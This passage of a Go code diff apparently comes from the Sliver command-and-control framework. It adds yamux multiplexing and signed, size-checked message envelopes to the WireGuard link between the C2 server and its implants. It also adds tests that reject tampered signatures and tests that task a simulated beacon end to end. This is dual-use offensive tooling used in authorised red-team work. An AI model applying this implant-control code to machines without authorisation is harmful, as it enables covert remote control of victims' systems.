Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "mtls://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(register)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal register: %v", err)
|
||||
}
|
||||
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send register: %v", err)
|
||||
}
|
||||
|
||||
handlers := implantHandlers.GetSystemHandlers()
|
||||
loopDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(loopDone)
|
||||
|
||||
streamSem := make(chan struct{}, 128)
|
||||
for {
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
default:
|
||||
_ = stream.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer func() { <-streamSem }()
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := implantMTLS.ReadEnvelope(stream)
|
||||
if err != nil || envelope == nil || envelope.ID == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
handler, ok := handlers[envelope.Type]
|
||||
if !ok {
|
||||
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||
return
|
||||
}
|
||||
handler(envelope.Data, func(data []byte, err error) {
|
||||
_ = err
|
||||
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||
})
|
||||
}(stream)
|
||||
}
|
||||
}()
|
||||
|
||||
return func() {
|
||||
_ = muxSession.Close()
|
||||
_ = conn.Close()
|
||||
select {
|
||||
case <-loopDone:
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sendYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return implantMTLS.WriteEnvelope(stream, envelope)
|
||||
}
|
||||
+185
-40
@@ -21,20 +21,25 @@ package c2
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/netstack"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"github.com/hashicorp/yamux"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -45,6 +50,14 @@ var (
|
||||
tunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
)
|
||||
|
||||
const (
|
||||
wgYamuxPreface = mtlsYamuxPreface
|
||||
)
|
||||
|
||||
var (
|
||||
wgYamuxPrefaceBytes = []byte(wgYamuxPreface)
|
||||
)
|
||||
|
||||
// StartWGListener - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration.
|
||||
// Go routines are spun up to handle key exchange connections, as well
|
||||
@@ -205,56 +218,150 @@ func handleWGSliverConnection(conn net.Conn) {
|
||||
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
|
||||
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
|
||||
implantConn.UpdateLastMessage()
|
||||
defer func() {
|
||||
wgLog.Debugf("wireguard connection closing")
|
||||
implantConn.Cleanup()
|
||||
conn.Close()
|
||||
}()
|
||||
|
||||
done := make(chan bool)
|
||||
br := bufio.NewReader(conn)
|
||||
bufferedConn := &wgBufferedConn{Conn: conn, r: br}
|
||||
|
||||
preface, err := br.Peek(len(wgYamuxPrefaceBytes))
|
||||
if err == nil && bytes.Equal(preface, wgYamuxPrefaceBytes) {
|
||||
if _, err := br.Discard(len(wgYamuxPrefaceBytes)); err != nil {
|
||||
wgLog.Errorf("Failed to discard yamux preface: %v", err)
|
||||
return
|
||||
}
|
||||
handleWGSliverConnectionYamux(bufferedConn, implantConn)
|
||||
return
|
||||
}
|
||||
|
||||
wgLog.Warnf("Rejecting legacy wireguard connection (missing yamux preface) from %s", conn.RemoteAddr())
|
||||
}
|
||||
|
||||
type wgBufferedConn struct {
|
||||
net.Conn
|
||||
r *bufio.Reader
|
||||
}
|
||||
|
||||
func (c *wgBufferedConn) Read(p []byte) (int, error) {
|
||||
return c.r.Read(p)
|
||||
}
|
||||
|
||||
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
wgLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
done := make(chan struct{})
|
||||
var doneOnce sync.Once
|
||||
closeDone := func() {
|
||||
doneOnce.Do(func() {
|
||||
close(done)
|
||||
session.Close()
|
||||
})
|
||||
}
|
||||
|
||||
streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
|
||||
sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
|
||||
handlers := serverHandlers.GetHandlers()
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
done <- true
|
||||
}()
|
||||
handlers := serverHandlers.GetHandlers()
|
||||
defer closeDone()
|
||||
for {
|
||||
envelope, err := socketWGReadEnvelope(conn)
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
wgLog.Errorf("Socket read error %s", err)
|
||||
if !errors.Is(err, io.EOF) {
|
||||
wgLog.Errorf("yamux accept error: %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
implantConn.UpdateLastMessage()
|
||||
if envelope.ID != 0 {
|
||||
implantConn.RespMutex.RLock()
|
||||
if resp, ok := implantConn.Resp[envelope.ID]; ok {
|
||||
resp <- envelope // Could deadlock, maybe want to investigate better solutions
|
||||
}
|
||||
implantConn.RespMutex.RUnlock()
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
go func() {
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
case <-done:
|
||||
stream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketWGReadEnvelope(stream)
|
||||
if err != nil {
|
||||
wgLog.Errorf("Stream read error %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
implantConn.UpdateLastMessage()
|
||||
|
||||
if envelope.ID != 0 {
|
||||
implantConn.RespMutex.RLock()
|
||||
resp, ok := implantConn.Resp[envelope.ID]
|
||||
implantConn.RespMutex.RUnlock()
|
||||
if ok {
|
||||
resp <- envelope
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
}
|
||||
}(envelope)
|
||||
}
|
||||
}(stream)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
wgLog.Errorf("yamux open stream error: %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
if err := socketWGWriteEnvelope(stream, envelope); err != nil {
|
||||
wgLog.Errorf("Stream write failed %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
}(envelope)
|
||||
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
Loop:
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
err := socketWGWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
wgLog.Errorf("Socket write failed %s", err)
|
||||
break Loop
|
||||
}
|
||||
case <-done:
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
wgLog.Debugf("Closing connection to implant %s", implantConn.ID)
|
||||
<-done
|
||||
}
|
||||
|
||||
// socketWGWriteEnvelope - Writes a message to the wireguard socket using length prefix framing
|
||||
@@ -266,21 +373,43 @@ func socketWGWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) err
|
||||
wgLog.Errorf("Envelope marshaling error: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Prepend a fixed-length raw minisign signature (binary) so the implant can
|
||||
// verify messages independent of the WireGuard layer.
|
||||
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
|
||||
if _, err := connection.Write(rawSig[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
connection.Write(dataLengthBuf.Bytes())
|
||||
connection.Write(data)
|
||||
if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
|
||||
wgLog.Errorf("Envelope marshaling error: %v", err)
|
||||
return err
|
||||
}
|
||||
if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := connection.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// socketWGReadEnvelope - Reads a message from the wireguard connection using length prefix framing
|
||||
// returns messageType, message, and error
|
||||
func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
rawSigBuf := make([]byte, minisign.RawSigSize)
|
||||
|
||||
// Read the first four bytes to determine data length
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
n, err := io.ReadFull(connection, rawSigBuf)
|
||||
if err != nil || n != len(rawSigBuf) {
|
||||
wgLog.Errorf("Socket error (read raw signature): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n, err = io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
wgLog.Errorf("Socket error (read msg-length): %v", err)
|
||||
@@ -288,7 +417,7 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
|
||||
if dataLength <= 0 {
|
||||
if dataLength <= 0 || ServerMaxMessageSize < dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
wgLog.Errorf("[wireguard] read error: %s\n", err)
|
||||
// {{end}}
|
||||
@@ -303,6 +432,22 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
wgLog.Errorf("Socket error (read data): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
|
||||
if algorithm != minisign.EdDSA {
|
||||
return nil, errors.New("[wireguard] unsupported signature algorithm")
|
||||
}
|
||||
keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
|
||||
|
||||
pubKey, _, err := lookupImplantSigKey(keyID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
signature := rawSigBuf[10:]
|
||||
if !ed25519.Verify(pubKey, dataBuf, signature) {
|
||||
return nil, errors.New("[wireguard] invalid signature")
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
|
||||
@@ -0,0 +1,306 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
func TestWGSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
want := &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
}
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
got, err := socketWGReadEnvelope(srv)
|
||||
if err != nil {
|
||||
t.Fatalf("expected valid signature, got err=%v", err)
|
||||
}
|
||||
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
|
||||
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketWGReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
|
||||
t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
frame[10] ^= 0xff
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketWGReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
dataOffset := minisign.RawSigSize + 4
|
||||
frame[dataOffset] ^= 0x01
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketWGReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketWGReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil {
|
||||
t.Fatalf("expected error for truncated signature, got nil")
|
||||
}
|
||||
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||
t.Fatalf("expected EOF for truncated signature, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
|
||||
want := &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
}
|
||||
frame := newServerSignedEnvelopeFrame(t, want)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
got, err := implantWG.ReadEnvelope(srv)
|
||||
if err != nil {
|
||||
t.Fatalf("expected valid signature, got err=%v", err)
|
||||
}
|
||||
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
|
||||
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
frame[10] ^= 0xff
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
_, err := implantWG.ReadEnvelope(srv)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
frame[2] ^= 0xff
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
_, err := implantWG.ReadEnvelope(srv)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
_, err := implantWG.ReadEnvelope(srv)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
dataOffset := minisign.RawSigSize + 4
|
||||
frame[dataOffset] ^= 0x01
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
_, err := implantWG.ReadEnvelope(srv)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWireGuardImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
_, err := implantWG.ReadEnvelope(srv)
|
||||
if err == nil {
|
||||
t.Fatalf("expected error for truncated signature, got nil")
|
||||
}
|
||||
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||
t.Fatalf("expected EOF for truncated signature, got=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2
|
||||
|
||||
import "net"
|
||||
|
||||
// HandleWGSliverConnectionForTest exposes the raw connection handler to external
|
||||
// (package `c2_test`) end-to-end tests without shipping test-only symbols in
|
||||
// production builds.
|
||||
func HandleWGSliverConnectionForTest(conn net.Conn) {
|
||||
handleWGSliverConnection(conn)
|
||||
}
|
||||
@@ -0,0 +1,439 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"github.com/hashicorp/yamux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestWGYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleWGSliverConnectionForTest(serverConn)
|
||||
|
||||
beaconID := uuid.NewString()
|
||||
beacon := startTestWGBeacon(t, implantConn, beaconID)
|
||||
t.Cleanup(beacon.Stop)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
|
||||
|
||||
const tasksCount = 8
|
||||
type taskInfo struct {
|
||||
id string
|
||||
nonce int32
|
||||
}
|
||||
taskInfos := make([]taskInfo, 0, tasksCount)
|
||||
|
||||
for i := 0; i < tasksCount; i++ {
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
|
||||
nonce := int32(1000 + i)
|
||||
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
|
||||
Nonce: nonce,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping (async): %v", err)
|
||||
}
|
||||
if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
|
||||
t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
|
||||
}
|
||||
taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pendingTasks, err := beacon.FetchPendingTasks(ctx)
|
||||
if err != nil {
|
||||
t.Fatalf("fetch pending beacon tasks: %v", err)
|
||||
}
|
||||
if len(pendingTasks) < tasksCount {
|
||||
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
|
||||
}
|
||||
|
||||
results := executeBeaconTasks(t, pendingTasks)
|
||||
if err := beacon.SendResults(results); err != nil {
|
||||
t.Fatalf("send beacon results: %v", err)
|
||||
}
|
||||
|
||||
for _, info := range taskInfos {
|
||||
waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleWGSliverConnectionForTest(serverConn)
|
||||
|
||||
beaconID := uuid.NewString()
|
||||
beacon := startTestWGBeacon(t, implantConn, beaconID)
|
||||
t.Cleanup(beacon.Stop)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
|
||||
|
||||
testDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
|
||||
t.Fatalf("write alpha.txt: %v", err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
|
||||
t.Fatalf("mkdir subdir: %v", err)
|
||||
}
|
||||
|
||||
reqTimeout := int64(5 * time.Second)
|
||||
|
||||
type taskCheck struct {
|
||||
id string
|
||||
check func(*testing.T, []byte)
|
||||
}
|
||||
checks := make([]taskCheck, 0, 8)
|
||||
|
||||
addTask := func(taskID string, check func(*testing.T, []byte)) {
|
||||
if taskID == "" {
|
||||
t.Fatalf("expected task id in async response")
|
||||
}
|
||||
checks = append(checks, taskCheck{id: taskID, check: check})
|
||||
}
|
||||
|
||||
for i := 0; i < 4; i++ {
|
||||
